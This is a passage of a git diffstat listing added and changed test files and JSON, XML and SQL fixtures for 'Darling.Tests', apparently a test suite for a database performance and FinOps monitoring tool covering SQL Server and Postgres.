 .../DarlingSelfQueryMarkerTests.cs            |   82 +
 .../Darling.Tests/DarlingServerTagsTests.cs   |   83 +-
 .../DarlingSignificantWaitsReadTests.cs       |    9 +-
 .../DarlingStoreHostProfileLiveTests.cs       |    2 +-
 .../DarlingStoreHostProfileTests.cs           |   72 +
 .../Darling.Tests/DarlingStoreUpgradeTests.cs |  111 +-
 .../DarlingSweepSchedulingTests.cs            |   39 +
 .../Darling.Tests/DarlingTrendEmptyTests.cs   |    2 +-
 .../DarlingTriageEndpointTests.cs             |    4 +
 .../DarlingUnknownNetworkKeyTests.cs          |  123 +
 .../DarlingUpgradeInstallTreeWaitTests.cs     |   17 +-
 .../DarlingUpgradeShapesWorkflowTests.cs      |  226 +
 ...DarlingWatermarkFloorPlanShapeLiveTests.cs |    3 +-
 ...DarlingWatermarkFloorScanBoundLiveTests.cs |    3 +-
 ...rlingWatermarkIndexEquivalenceLiveTests.cs |    3 +-
 .../Darling.Tests/DarlingWebAssetsTests.cs    |    2 +
 .../Darling.Tests/DarlingWebEndpointsTests.cs |  257 +-
 .../DarlingWebFailureHandlingTests.cs         |  225 +-
 .../DarlingWebHostGateLiveTests.cs            |  468 +-
 Darling/Darling.Tests/DarlingWebOidcTests.cs  |   14 +
 .../DarlingWebSecurityHeadersTests.cs         |  471 ++
 Darling/Darling.Tests/DarlingWebTlsTests.cs   |  334 +-
 .../DarlingWebhookSecretsTests.cs             |  265 +
 .../DarlingWorkerServerClockLiveTests.cs      |  226 +
 Darling/Darling.Tests/DarlingWorkerTests.cs   |    8 +
 ...taWindowFloorSnapshotAndRunLogLiveTests.cs |  248 +
 Darling/Darling.Tests/DataWindowFloorTests.cs |  426 ++
 .../DatabaseConfigWebColumnsTests.cs          |  169 +
 .../DatabaseFilterBindingLiveTests.cs         |  107 +
 .../DatabaseFilterEmptyAnswerLiveTests.cs     |  157 +
 .../Darling.Tests/DatabaseNameHistoryTests.cs |  506 ++
 .../DatabaseNameParamTwinTests.cs             |  278 +
 .../DatabaseSizeLatestPlanShapeLiveTests.cs   |   12 +-
 .../Darling.Tests/DeadlockProcessRowsTests.cs |  375 ++
 .../DeadlockRateBandRungTests.cs              |    2 +
 .../DeadlockStoredIdentityTests.cs            |    1 +
 .../DeadlocksTelemetryCursorTests.cs          |    1 +
 ...milyIntervalCompletionLivePostgresTests.cs |  147 +-
 .../DeltaFamilyIntervalCompletionRungTests.cs |   15 +-
 .../DeployPowerShellProbeLimitTests.cs        |    4 +
 .../DesktopDatabaseFilterLiveTests.cs         |  430 ++
 .../DiagnosticsBundleAliasHardeningTests.cs   |  166 +
 .../DiagnosticsBundleAliasTests.cs            |  266 +
 .../DiagnosticsBundleExitCodeTests.cs         |  166 +
 .../DiagnosticsBundleHardeningTests.cs        |  553 ++
 .../DiagnosticsBundleHealthUncutLiveTests.cs  |  112 +
 .../DiagnosticsBundleLeakLiveTests.cs         |  429 ++
 .../DiagnosticsBundleRound2Tests.cs           |  551 ++
 .../DiagnosticsBundleSealedTextTests.cs       |   85 +
 .../DiagnosticsBundleSecretTests.cs           |  217 +
 .../DiagnosticsBundleSeedFailureLiveTests.cs  |  235 +
 .../DiagnosticsBundleServiceLogTests.cs       |  137 +
 .../DiagnosticsBundleSizeTests.cs             |   74 +
 .../DiagnosticsBundleStatementFilterTests.cs  |  112 +
 .../DiagnosticsBundleStoreHistoryLiveTests.cs |  550 ++
 .../DiagnosticsBundleVerbTests.cs             |  117 +
 .../DiagnosticsBundleWebhookOpenTests.cs      |  167 +
 .../Darling.Tests/DocCommentHygieneTests.cs   |   49 +-
 .../Darling.Tests/DockerfileSdkPinTests.cs    |    1 +
 .../DrillDownDopProvenanceParityTests.cs      |    1 +
 .../DropXeSessionsHelpGuidanceTests.cs        |    7 +
 .../DropXeSessionsPerInstallTests.cs          |  411 ++
 .../DropXeSessionsReadOnlyIntentTests.cs      |  292 +
 .../Darling.Tests/DropXeSessionsVerbTests.cs  |  567 +-
 .../DurationTrendDatabaseFilterLiveTests.cs   |  627 ++
 .../Darling.Tests/EffectiveStartUtcTests.cs   |  241 +
 .../EmptyAnswerDatabaseEchoTests.cs           |   97 +
 .../EmptyDatabaseListNoteLiveTests.cs         |  187 +
 .../EmptyDatabaseListNoteTests.cs             |  106 +
 .../EngineAwareVersionLabelTests.cs           |    2 +
 .../EngineCapabilityMissTests.cs              |   85 +-
 .../EntraProviderPackageCensusTests.cs        |    2 +
 ...indowedReadsAreBoundedLivePostgresTests.cs |   29 +-
 .../EventsDatabaseFilterLiveTests.cs          |  310 +
 .../Darling.Tests/ExcludedDatabasesTests.cs   |    2 +-
 .../FactCollectorFailureReportingTests.cs     |    1 +
 Darling/Darling.Tests/FactRankedTests.cs      |    1 +
 .../Darling.Tests/FactSourceRegistryTests.cs  |    1 +
 .../FailedSendRetryTrackerClockStepTests.cs   |    1 +
 .../FailureNoteRedactionTests.cs              |    1 +
 .../FileGrowthAlertStoreTests.cs              |    1 +
 .../FileGrowthRiseUnitCensusTests.cs          |    2 +
 .../FileIoDatabaseFilterLiveTests.cs          |  371 ++
 ...psApplicationConnectionsGoldenLiveTests.cs |  235 +
 .../FinOpsApplicationConnectionsViewTests.cs  |  329 +
 .../FinOpsClickThroughRulesTests.cs           |  155 +
 Darling/Darling.Tests/FinOpsCostTests.cs      |  105 +
 .../FinOpsDatabaseResourcesGoldenLiveTests.cs |  276 +
 .../FinOpsDatabaseResourcesViewTests.cs       |  259 +
 .../FinOpsDatabaseSizesViewTests.cs           |  239 +
 .../FinOpsHighImpactReaderLiveTests.cs        |  159 +
 .../Darling.Tests/FinOpsHotspotRegionTests.cs |   80 +
 .../FinOpsIdleCoverageInventoryLiveTests.cs   |  145 +
 .../FinOpsIdleCoverageLiveTests.cs            |  246 +
 .../Darling.Tests/FinOpsIdleCoverageSeed.cs   |   39 +
 .../FinOpsIndexAnalysisGoldenLiveTests.cs     |  268 +
 ...OpsIndexAnalysisLatestSnapshotLiveTests.cs |  284 +
 .../FinOpsIndexAnalysisLatestTiebreakTests.cs |   34 +
 .../FinOpsIndexAnalysisLimitBehaviourTests.cs |  121 +
 .../FinOpsIndexAnalysisViewLiveTests.cs       |  330 +
 .../FinOpsIndexAnalysisViewSizeTests.cs       |  131 +
 .../FinOpsIndexAnalysisViewTests.cs           |  270 +
 .../FinOpsInventoryGoldenLiveTests.cs         |  278 +
 .../FinOpsInventoryHealthScoreLiveTests.cs    |  105 +
 .../FinOpsInventoryToolParityLiveTests.cs     |  298 +
 .../FinOpsInventoryViewerFiguresTests.cs      |  101 +
 .../FinOpsLockingDetailBehaviourTests.cs      |  140 +
 .../FinOpsLockingHeatBehaviourTests.cs        |   94 +
 .../FinOpsLockingPickerBehaviourTests.cs      |  175 +
 .../FinOpsOptimizationGoldenLiveTests.cs      |  280 +
 .../FinOpsOptimizationTieBreakTests.cs        |   97 +
 .../FinOpsOptimizationViewTests.cs            |  564 ++
 Darling/Darling.Tests/FinOpsPageShellTests.cs |  230 +
 .../FinOpsPostgresTargetTests.cs              |  162 +
 .../FinOpsRecommendationFiguresTests.cs       |  369 ++
 ...OpsRecommendationsCharacterizationTests.cs |  315 +
 .../FinOpsRecommendationsGoldenLiveTests.cs   |  294 +
 .../FinOpsRecommendationsReadsLiveTests.cs    |  412 ++
 ...ecommendationsSecondaryReplicaLiveTests.cs |  199 +
 ...inOpsRecommendationsToolParityLiveTests.cs |  271 +
 .../Darling.Tests/FinOpsServerChoiceTests.cs  |  239 +
 .../FinOpsStorageGrowthGoldenLiveTests.cs     |  239 +
 .../FinOpsStorageGrowthViewTests.cs           |  784 +++
 ...FinOpsStorageGrowthWindowBehaviourTests.cs |  117 +
 .../FinOpsSubTabIndexPinTests.cs              |    1 +
 ...inOpsTabApplicationConnectionsPageTests.cs |  135 +
 .../FinOpsTabDatabaseResourcesPageTests.cs    |  145 +
 .../FinOpsTabDatabaseSizesPageTests.cs        |   95 +
 .../FinOpsTabHighImpactPageTests.cs           |   95 +
 .../FinOpsTabIndexAnalysisPageTests.cs        |  409 ++
 .../FinOpsTabLockingPageTests.cs              |   84 +
 .../FinOpsTabOptimizationPageTests.cs         |  208 +
 .../Darling.Tests/FinOpsTabPvsPageTests.cs    |   91 +
 .../FinOpsTabRecommendationsPageTests.cs      |  177 +
 .../FinOpsTabServerInventoryPageTests.cs      |  245 +
 .../FinOpsTabStorageGrowthPageTests.cs        |  269 +
 .../FinOpsTabSystemEventsColumnsPageTests.cs  |  130 +
 .../FinOpsTabUtilizationPageTests.cs          |  188 +
 .../FinOpsTabUtilizationRawPageTests.cs       |  142 +
 .../FinOpsUtilizationFiguresLiveTests.cs      |  127 +
 .../FinOpsUtilizationFiguresTests.cs          |  180 +
 .../FinOpsUtilizationGoldenLiveTests.cs       |  285 +
 .../FinOpsUtilizationViewLiveTests.cs         |  302 +
 .../FinOpsWebReadParityLiveTests.cs           |  141 +
 .../FinOpsWindowPickerBehaviourTests.cs       |  124 +
 .../FindingsRetentionCrossSkuPinTests.cs      |    1 +
 .../FindingsRetentionDefaultWiringPinTests.cs |    1 +
 .../FinOpsApplicationConnections/golden.json  |  115 +
 .../FinOpsDatabaseResources/golden.json       |  190 +
 .../Fixtures/FinOpsIndexAnalysis/golden.json  | 1107 ++++
 .../Fixtures/FinOpsInventory/golden.json      |  150 +
 .../Fixtures/FinOpsOptimization/golden.json   |  153 +
 .../FinOpsRecommendations/golden.json         |  226 +
 .../Fixtures/FinOpsStorageGrowth/golden.json  |  335 +
 .../Fixtures/FinOpsUtilization/golden.json    |  181 +
 .../PasswordSeal/linux-self-check-vector.json |   19 +
 .../autoparam_select_adhoc_shell.xml          |    1 +
 .../autoparam_select_prepared.xml             |    1 +
 .../autoparam_update_adhoc_shell.xml          |    1 +
 .../autoparam_update_prepared.xml             |    1 +
 .../StatementScrub/two_statements.xml         |  104 +
 .../Fixtures/column-value-filter-cases.json   |  202 +
 .../Fixtures/migration-ladder-v3.9.0.sql      | 5549 +++++++++++++++++
 .../Fixtures/time-range-cases.json            | 1149 ++++
 ...dCollectionStaleNamesItsPopulationTests.cs |    1 +
 Darling/Darling.Tests/FleetGateSignalTests.cs |   44 +-
 .../Darling.Tests/FleetGateSkipCreditTests.cs |   10 +-
 .../Darling.Tests/FleetGateStartupTests.cs    |  943 +++
 .../FleetIdentifierScrubTests.cs              |    4 +
 .../FleetOverviewAzureMasterScopeLiveTests.cs |   12 +-
 .../FleetPageAttentionFilterTests.cs          |    2 +-
 .../FleetPgDeadlockFlatPairLiveTests.cs       |  378 ++
 .../FleetReadsAreBoundedByTheFleetTests.cs    |   64 +-
 .../FleetSilenceBehaviourTests.cs             |  149 +
 .../Darling.Tests/FleetSilencePageTests.cs    |   85 +
 .../Darling.Tests/FleetSweepWebFeedTests.cs   |   11 +-
 .../ForcePlanFailuresAccessPathTests.cs       |    6 +-
 .../Darling.Tests/FrozenRollupLiveTests.cs    |  142 +-
 .../Darling.Tests/GatedCollectorRowsTests.cs  |  529 ++
 .../GenericWebhookHeadersOriginTests.cs       |  182 +
 .../Darling.Tests/GetReadLatencyLiveTests.cs  |  122 +-
 .../GridAdoptionBehaviourTests.cs             |  179 +
 .../Darling.Tests/GridFilterBehaviourTests.cs |  238 +
 .../Darling.Tests/GridSortBehaviourTests.cs   |  184 +
 .../Darling.Tests/GridToolsBehaviourTests.cs  |  170 +
 .../GridValueFilterBehaviourTests.cs          |  383 ++
 .../Darling.Tests/GuardStageCensusTests.cs    |  326 +
 Darling/Darling.Tests/GuardStageScanner.cs    |  581 ++
 .../Darling.Tests/GuardStageWorkflowTests.cs  |  513 ++
 Darling/Darling.Tests/HostHeaderGuardTests.cs |  105 +-
 .../HourlyAttributionSpanTests.cs             |   14 +
 .../Darling.Tests/HourlyWindowEdgesTests.cs   |   44 +-
 .../Darling.Tests/HyperscaleLogSizeTests.cs   |    3 +-
 ...otheticalIndexSingleStatementGuardTests.cs |    1 +
 .../IncidentDeliveryFilterTests.cs            |   75 +
 .../IndexCleanupAnalyzerTests.cs              |   39 +
 .../IndexUsageTruncationTests.cs              |    6 +-
 Darling/Darling.Tests/InstallIdRungTests.cs   |  134 +
 .../InstallIdTableOidRungTests.cs             |  122 +
 .../IntervalFirstExecIndexRungTests.cs        |   48 +-
 .../IntervalHonestHourlyRollupTests.cs        |   34 +-
 .../IntervalRollupCountGuardLiveTests.cs      |  348 ++
 Darling/Darling.Tests/IoHourlyRollupTests.cs  |  347 ++
 .../Darling.Tests/JobHistoryCountTextTests.cs |   96 +
 ...roupedStatsMatchWindowFunctionLiveTests.cs |    4 +-
 .../JobHistoryIdentityEpochTests.cs           |   13 +-
 Darling/Darling.Tests/JobHistoryPageTests.cs  |  366 ++
 .../JobHistoryPerServerTopNLiveTests.cs       |   16 +-
 .../JobHistorySqlTextPinTests.cs              |  306 +
 .../JobHistoryWatermarkEpochLiveTests.cs      |   24 +-
 .../LatestCollectorOutcomeOrderTests.cs       |  123 +
 .../LatestCollectorOutcomePlanTests.cs        |  136 +
 .../Darling.Tests/LatestCpuReadShapeTests.cs  |    6 +-
 .../Darling.Tests/LatestValueLookbackTests.cs |   24 +-
 .../Darling.Tests/LaunchMemoryGuardTests.cs   |  837 +++
 .../LegacyLongQueryRecordLiveTests.cs         |  218 +
 .../LegacyPinCandidateRungTests.cs            |  251 +
 .../LegacyPinResolverLiveTests.cs             |  162 +
 .../ListenerTlsFailedStartTests.cs            |  431 ++
 ...eAnalysisServiceCancellationSourceTests.cs |    3 +-
 .../LiteJobHistoryLoadingCapTests.cs          |    5 +-
 .../LiteJobHistorySourceTests.cs              |    1 +
 ...erfmonWaitStatisticsArtifactSourceTests.cs |    1 +
 .../Darling.Tests/LiteReadsTraitGuardTests.cs |  213 +
 .../LiveCleanupConversionRatchetTests.cs      |    1 +
 Darling/Darling.Tests/LiveClock.cs            |   48 +
 Darling/Darling.Tests/LiveClockCensusTests.cs |  218 +
 .../LivePlanShapeIsolationCensusTests.cs      |    1 +
 .../LivePostgresCollectionHygieneTests.cs     |   10 +-
 .../Darling.Tests/LiveStoreSessionTimeZone.cs |   46 +
 .../LiveStoreSessionTimeZoneTests.cs          |   41 +
 .../Darling.Tests/LocalClockBucketKeyTests.cs |    2 +
 .../LockedModeRestoreCoverageTests.cs         |    4 +-
 .../LongQueryBannerSessionScopeTests.cs       |  111 +
 .../LongQueryTraceInstanceGuardTests.cs       |  318 +
 .../LongQueryTraceLifecycleTests.cs           | 1868 ++++++
 .../LongQueryTraceReadOnlyIntentTests.cs      |  622 ++
 .../LongQueryTraceRemovalTests.cs             |  575 ++
 .../LongQueryTraceRestartTests.cs             |  177 +
 .../LongQueryTraceRunRowLiveTests.cs          |  208 +
 .../LongRunningQueryExclusionKnobRungTests.cs |    1 +
 .../LongRunningQueryExclusionsTests.cs        |    1 +
 .../Darling.Tests/ManageTagsBehaviourTests.cs |  359 ++
 Darling/Darling.Tests/ManageTagsPageTests.cs  |   99 +
 .../Darling.Tests/ManagedConfFileLiveTests.cs |   56 +
 Darling/Darling.Tests/ManagedConfFileTests.cs |   52 +
 .../ManagedConfMigrationTests.cs              |   71 +
 .../ManagedConfRehearsalTests.cs              |   34 +-
 .../ManagedConfWalRungStabilityTests.cs       |  225 +
 .../MaterializationHoleProbeLiveTests.cs      |  291 +
 .../MaterializationHoleRepairTests.cs         |   32 +-
 .../MaterializationHoleScanShapeTests.cs      |    6 +-
 Darling/Darling.Tests/McpArgumentTypeRows.cs  |  420 ++
 Darling/Darling.Tests/McpArgumentTypeTests.cs |  102 +
 .../McpFilterSemanticsLivePostgresTests.cs    |  116 +-
 Darling/Darling.Tests/McpInProcessHost.cs     |  340 +
 .../McpLatestSnapshotStampTests.cs            |   65 +-
 Darling/Darling.Tests/McpPageContractTests.cs |   11 +-
 .../McpPayloadClockFrameDisciplineTests.cs    |    1 +
 .../McpPayloadContractCensusTests.cs          |   82 +-
 .../McpReadToolBudgetLiveTests.cs             |    3 +-
 .../McpServiceParameterDiSeatCensusTests.cs   |    1 +
 .../McpToolGuideHeads.AgStore.cs              |   13 +
 .../McpToolGuideHeads.CustomView.cs           |   36 +-
 .../Darling.Tests/McpToolGuideHeads.FinOps.cs |   74 +
 .../McpToolGuideHeads.FinOpsInventory.cs      |   65 +
 ...McpToolGuideHeads.FinOpsRecommendations.cs |   58 +
 .../McpToolGuideHeads.Platform.cs             |    4 +
 .../McpToolGuideHeads.SqlCore.cs              |   17 +-
 Darling/Darling.Tests/McpToolGuideTests.cs    |    1 +
 .../McpToolLatencyRecordingTests.cs           |   53 +-
 .../DarlingMcpBlockingTools.txt               |    9 +-
 .../DarlingMcpConfigHistoryTools.txt          |    1 +
 .../DarlingMcpCustomViewTools.txt             |    2 +-
 .../DarlingMcpDataTools.txt                   |    6 +-
 .../DarlingMcpDefaultTraceTools.txt           |    1 +
 .../DarlingMcpFinOpsInventoryTools.txt        |    5 +
 .../DarlingMcpFinOpsRecommendationsTools.txt  |    3 +
 .../DarlingMcpFinOpsTools.txt                 |    9 +
 .../DarlingMcpHealthParserTools.txt           |    1 +
 .../McpToolsListBudget/DarlingMcpJobTools.txt |    9 +
 .../DarlingMcpLongQueryTools.txt              |    1 +
 .../DarlingMcpObjectStatsTools.txt            |    3 +
 .../DarlingMcpPlanCorrectionTools.txt         |    1 +
 .../DarlingMcpPlanTools.txt                   |   45 +
 .../McpToolsListBudget/DarlingMcpPvsTools.txt |    1 +
 .../DarlingMcpQueryStoreClutterTools.txt      |    1 +
 .../DarlingMcpQueryStoreHistoryTools.txt      |    7 +
 .../DarlingMcpServerAdminTools.txt            |    4 +
 .../DarlingMcpServerTagTools.txt              |   21 +
 .../DarlingMcpServerTrendTools.txt            |    9 +
 .../DarlingMcpSessionTools.txt                |    4 +-
 .../DarlingMcpSlowReadTools.txt               |    8 +
 .../DarlingMcpStoreQueryHistoryTools.txt      |    6 +
 .../DarlingMcpTrendTools.txt                  |    3 +
 .../Darling.Tests/McpToolsListBudgetTests.cs  |   60 +-
 .../McpUnknownArgumentGuardTests.cs           |  323 +-
 .../McpWholeNumberArgumentTests.cs            |  286 +
 .../McpZeroIsAMeasurementTests.cs             |   18 +-
 .../MeasurementContractCensusTests.cs         |    8 +-
 .../MigrationDataMovingRungCensusPins.cs      |    8 +
 .../MigrationLockHolderLogTests.cs            |  279 +
 ...rationLockUncontendedAcquireTimingTests.cs |   89 +
 .../MigrationLockWaitContentionTests.cs       |   52 -
 .../MigrationUpgradeLadderLiveTests.cs        |    6 +-
 .../MuteRuleReloadRetentionTests.cs           |    1 +
 .../MuteRuleServerIdRungTests.cs              |   16 +-
 .../Darling.Tests/MuteRulesBehaviourTests.cs  |  199 +
 Darling/Darling.Tests/MuteRulesPageTests.cs   |   82 +
 .../NewestSnapshotReadsLiveTests.cs           |  553 ++
 .../NightlyCheckoutCommitPinTests.cs          |  173 +
 .../NoInternalBusFilesGuardTests.cs           |   55 +
 .../NoServiceObjectiveToResizeTests.cs        |   10 +-
 .../NotificationRoutesRungTests.cs            |    5 +-
 .../Darling.Tests/NotificationRoutingTests.cs |   10 +
 .../ObjectLockingDetailLiveTests.cs           |  174 +
 .../ObjectLockingHeatLiveTests.cs             |  218 +
 .../ObjectLockingWebDefaultTests.cs           |    2 +-
 .../ObjectStatsDatabaseFilterLiveTests.cs     |  457 ++
 .../OptimizedLockingNoteTests.cs              |    3 +
 .../Darling.Tests/OrphanStatePruneTests.cs    |    1 +
 ...PlanBacklogJudgeRetireLivePostgresTests.cs |  412 ++
 .../Darling.Tests/OversizedPlanBacklogPins.cs |   64 +-
 .../OversizedPlanBacklogReadPins.cs           |    2 +-
 .../OversizedPlanSweepRunRecordTests.cs       |    5 +-
 ...rviewCollectionHealthRollupRoutingTests.cs |   33 +-
 .../OwnedSecretReferenceRefusalTests.cs       |  547 ++
 .../PagerDutyAutoResolveRungTests.cs          |  217 +
 ...arameterSensitiveDrillDownTextLiveTests.cs |    2 +-
 ...erSensitivityFiringSignatureParityTests.cs |    1 +
 .../PasswordBindingCensusTests.cs             |  309 +
 .../PasswordKeyGrantParityTests.cs            |  140 +
 Darling/Darling.Tests/PasswordKeyRungTests.cs |  251 +
 .../Darling.Tests/PasswordKeySeamLiveTests.cs |  204 +
 .../PasswordKeySelfCheckTests.cs              |  193 +
 .../PasswordKeyTablesLiveTests.cs             |  542 ++
 Darling/Darling.Tests/PasswordSealTests.cs    |  692 ++
 .../PayloadDigestPassThroughLiveTests.cs      |  587 ++
 .../PayloadDimensionLiveTests.cs              |   66 +-
 .../PerfmonCounterTypeRungTests.cs            |    2 +
 .../Darling.Tests/PerfmonRegroupGateTests.cs  |  137 +
 .../PerfmonRegroupLiveSupport.cs              |  188 +
 .../Darling.Tests/PerfmonRegroupLiveTests.cs  |  966 +++
 .../PerfmonRegroupTimingLiveTests.cs          |  168 +
 ...rfmonWaitStatisticsArtifactMcpLiveTests.cs |   98 +
 .../PgClusterObjectCensusTests.cs             |  338 +
 .../Darling.Tests/PgClusterRolesCollection.cs |   44 +
 .../PgCpuCapacityHeadroomTests.cs             |    2 +
 .../PgDeadlockRemaskAlertPagingLiveTests.cs   |  833 +++
 ...PgDeadlockRemaskFindingsPagingLiveTests.cs |  346 +
 .../Darling.Tests/PgDeadlockRemaskTests.cs    |   95 +-
 .../PgEventToolsWindowFloorLiveTests.cs       |  329 +
 Darling/Darling.Tests/PgFactCollectorTests.cs |   26 +-
 .../PgGridsMcpDataStartLiveTests.cs           |  334 +
 .../PgIndexBloatCoverageTests.cs              |    2 +-
 .../PgIndexBloatGridReachTests.cs             |    4 +-
 Darling/Darling.Tests/PgIoStatsHourlyTests.cs |  612 ++
 .../PgLogEventsCsvlogLiveTests.cs             |   91 +-
 .../Darling.Tests/PgLogEventsPipelineTests.cs |    1 +
 Darling/Darling.Tests/PgLogHashKeyTests.cs    |   11 +
 .../PgPlanLogParserQueryIdPrefixTests.cs      |   58 +
 Darling/Darling.Tests/PgPlanShapeHashTests.cs |  277 +
 .../PgPlanViewerBehaviourTests.cs             |  167 +
 .../PgReadBinaryFileCapabilityLiveTests.cs    |   23 +-
 .../PgSensitiveStatementFilterLiveTests.cs    |  112 +-
 .../PgSensitiveStatementFilterTests.cs        |   62 +-
 ...PgServerConfigOverrideLivePostgresTests.cs |    2 +-
 .../PgServerConfigPendingRestartLiveTests.cs  |    4 +-
 .../PgServerConfigScopeRungTests.cs           |    6 +-
 ...PgServerLogTailCsvJsonRotationLiveTests.cs |    1 +
 .../PgServerLogTailRotationLiveTests.cs       |   29 +-
 .../PgSettingRedactionLivePostgresTests.cs    |   25 +-
 .../Darling.Tests/PgSettingRedactorTests.cs   |    5 +-
 .../PgSettingRedactorTimingCollection.cs      |   24 -
 .../PgSettingScrubCandidateCensusTests.cs     |    1 +
 .../PgStatementEvictionNoteTests.cs           |    9 +-
 .../PgStatementTextFailureRecordingTests.cs   |   79 +
 .../PgStatementTextHealthSemanticsTests.cs    |   89 +
 .../PgStatementTextScrubLiveTests.cs          |   71 +
 .../PgStatementsDeallocLiveTests.cs           |  121 +-
 Darling/Darling.Tests/PgTableTuningTests.cs   |   13 +-
 .../PgTargetBetweenWavesV2Tests.cs            |    1 +
 .../PgTargetConfigSnapshotBoundTests.cs       |    4 +-
 .../PgTargetDeadlockDrillDownTests.cs         |   11 +-
 .../Darling.Tests/PgTargetGrowthLiveTests.cs  |   10 +-
 Darling/Darling.Tests/PgTargetGrowthTests.cs  |   44 +-
 .../PgTargetMeasuredLineageTests.cs           |   78 +-
 Darling/Darling.Tests/PgTargetQueriesTests.cs |   11 +-
 .../PgWaitInstrumentDisclosureTests.cs        |   14 +
 ...riteStatsAndIndexUsageWindowNoticeTests.cs |  236 +
 .../PickerToggleDeferredRefreshSourceTests.cs |    1 +
 .../PlanCorrectionFrameLiveTests.cs           |    2 +-
 .../PlanCorrectionsWebDefaultTests.cs         |    4 +-
 Darling/Darling.Tests/PlanDigestCacheTests.cs |  295 +
 .../PlanForceActionDetailCensusTests.cs       |    1 +
 ...lanRegressionBuiltDaysFallbackLiveTests.cs |  402 ++
 .../PlanRegressionDailyBoundaryTests.cs       |  116 +
 .../PlanRegressionDailyBuilderLiveTests.cs    |  587 ++
 .../PlanRegressionDailyParityLiveTests.cs     |  353 ++
 .../PlanRegressionDailyReadShapeLiveTests.cs  |  338 +
 .../PlanRegressionDailyRungTests.cs           |  533 ++
 .../PlanRegressionDailyTriggerCostRig.cs      |  241 +
 .../PlanRegressionDailyTriggerLiveTests.cs    |  702 +++
 .../PlanRegressionDrillDownReuseLiveTests.cs  |    2 +-
 ...RegressionDrillDownWindowStartLiveTests.cs |  128 +
 ...RegressionIntervalTableEquivalenceTests.cs |   22 +-
 .../PlanRegressionReadShapeTests.cs           |   41 +-
 .../PlanRegressionTimeoutCaveatTests.cs       |  114 +
 .../Darling.Tests/PlanRowBehaviourTests.cs    |  126 +
 .../PlanSync4512CancellationTests.cs          |   31 +-
 .../PlanSync4512ParseErrorSurfacingTests.cs   |    1 +
 .../PlanSync4530ReaderLiveTests.cs            |    1 +
 .../PlanSync4535RuleNumberCensusTests.cs      |    1 +
 ...lanSync4597ServerContextFieldsLiveTests.cs |    1 +
 ...ync4602AnalysisServiceConfigCensusTests.cs |    1 +
 .../Darling.Tests/PlanViewerBehaviourTests.cs |  473 ++
 .../PlanViewerCapabilityPinTests.cs           |    1 +
 .../PlanViewerRuntimeSummaryNestingTests.cs   |   23 +-
 ...gresDatabaseListScreenLivePostgresTests.cs |   15 +-
 .../PostgresEngineGateBehaviorTests.cs        |   15 +-
 .../PostgresFaultOutcomeTests.cs              |    7 +-
 .../Darling.Tests/PostgresOpenTimeoutTests.cs |  189 +
 .../PostgresTargetConfigTests.cs              |    4 +
 ...rocedureStatsDeferredPlanFetchLiveTests.cs |  519 ++
 .../ProcedureStatsFloorAndHistoryLiveTests.cs |  326 +
 .../ProcedureStatsIdleHoursLiveTests.cs       |  462 ++
 .../ProcedureStatsIdleRowsLiveTests.cs        |  246 +
 .../ProcedureStatsIdleSkipTests.cs            |  365 ++
 .../ProcedureStatsPlanCadenceTests.cs         |   90 +-
 .../ProcedureStatsPlanFetchTests.cs           |  485 ++
 .../ProcedureStatsPlanReuseTests.cs           | 1323 ++++
 .../ProcedureStatsSqlGoldenTests.cs           |  103 +
 .../ProcedureTrendHourlyQueryViewPinTests.cs  |   66 +
 .../ProcedureTrendQueryViewPinTests.cs        |   61 +
 .../ProcedureTrendRunModelLiveTests.cs        |  394 ++
 .../ProductVersionDeclarationTests.cs         |    2 +
 .../ProductiveZeroBandingTests.cs             |   28 +-
 .../ProvisionRolesAclDriftTests.cs            |    9 +
 .../ProvisionRolesCollisionGuardTests.cs      |    1 +
 .../ProvisioningSerializationTests.cs         |  784 +++
 .../PublicConnectCatalogReadLiveTests.cs      |   65 +
 Darling/Darling.Tests/PublicConnectDelta.cs   |   30 +
 .../PublicConnectGuardAttribute.cs            |  108 +
 .../Darling.Tests/PublicConnectGuardTests.cs  |   46 +
 .../Darling.Tests/PurgeContinuationTests.cs   |  275 +
 .../PvsSkippedFieldsParityLiveTests.cs        |  127 +
 Darling/Darling.Tests/PvsStatsStoreTests.cs   |    2 +-
 .../QsCaptureModeRouteKnobToastRungTests.cs   |    2 +
 .../QueryEventsDatabaseFilterLiveTests.cs     |  303 +
 .../QueryHeatmapSqlTwinParityTests.cs         |    8 +-
 .../QueryHighDopStaleMaxDopParityTests.cs     |    1 +
 .../QueryReadsWebDispatchLiveTests.cs         |  207 +
 .../QueryStatsDeferredPlanFetchLiveTests.cs   |  430 ++
 .../QueryStatsHourLedgerTests.cs              |  476 ++
 .../QueryStatsHourLedgerWriterLiveTests.cs    |  456 ++
 .../QueryStatsHourLedgerWriterTests.cs        |  154 +
 Darling/Darling.Tests/QueryStatsLedgerSeed.cs |   64 +
 .../Darling.Tests/QueryStatsPlanFetchTests.cs |  297 +
 .../Darling.Tests/QueryStatsSqlGoldenTests.cs |   77 +
 .../QueryStatsWriterCensusPins.cs             |  537 ++
 .../QueryStoreAzureLoopWatermarkLiveTests.cs  |  289 +
 ...eryStoreBackfillCandidateCacheLiveTests.cs |  446 ++
 .../QueryStoreBackfillDroppedDatabaseTests.cs |  534 ++
 .../Darling.Tests/QueryStoreBackfillTests.cs  |    1 +
 .../QueryStoreBackgroundIndexesLiveTests.cs   |  652 ++
 .../QueryStoreBackgroundIndexesTests.cs       |  452 ++
 .../QueryStoreClutterLivePostgresTests.cs     |    6 +-
 .../Darling.Tests/QueryStoreClutterTests.cs   |   11 +-
 .../QueryStoreComposeStampLiveTests.cs        |  522 ++
 .../QueryStoreComposeStampRaceLiveTests.cs    |  354 ++
 .../QueryStoreComposeStampTests.cs            |  479 ++
 ...ryStoreComposeStampWriterGuardLiveTests.cs |  257 +
 ...eryStoreDatabaseWatermarkWiringPinTests.cs |   41 +-
 .../QueryStoreFetchProbeLivePostgresTests.cs  |  201 +-
 .../QueryStoreGroupMembersLiveTests.cs        |  136 +
 .../QueryStoreGroupMembersTests.cs            |  106 +
 .../QueryStoreHistoryBehaviourTests.cs        |  197 +
 .../QueryStoreHistoryLivePostgresTests.cs     |  313 +
 .../QueryStoreHistoryPanelStateTests.cs       |  115 +
 .../QueryStoreHistoryWideTierLiveTests.cs     |  126 +
 ...toreIntervalBoundedReadPruningLiveTests.cs |  329 +
 .../QueryStoreIntervalBrinLiveTests.cs        |  656 ++
 .../QueryStoreIntervalConvergenceLiveTests.cs |  907 +++
 .../QueryStoreIntervalFloorWarmUpTests.cs     |  631 ++
 .../QueryStoreIntervalLatestWriterTests.cs    |  150 +
 ...ryStoreIntervalMaintenancePassLiveTests.cs |  143 +
 .../QueryStoreIntervalPartitionRungTests.cs   |  751 +++
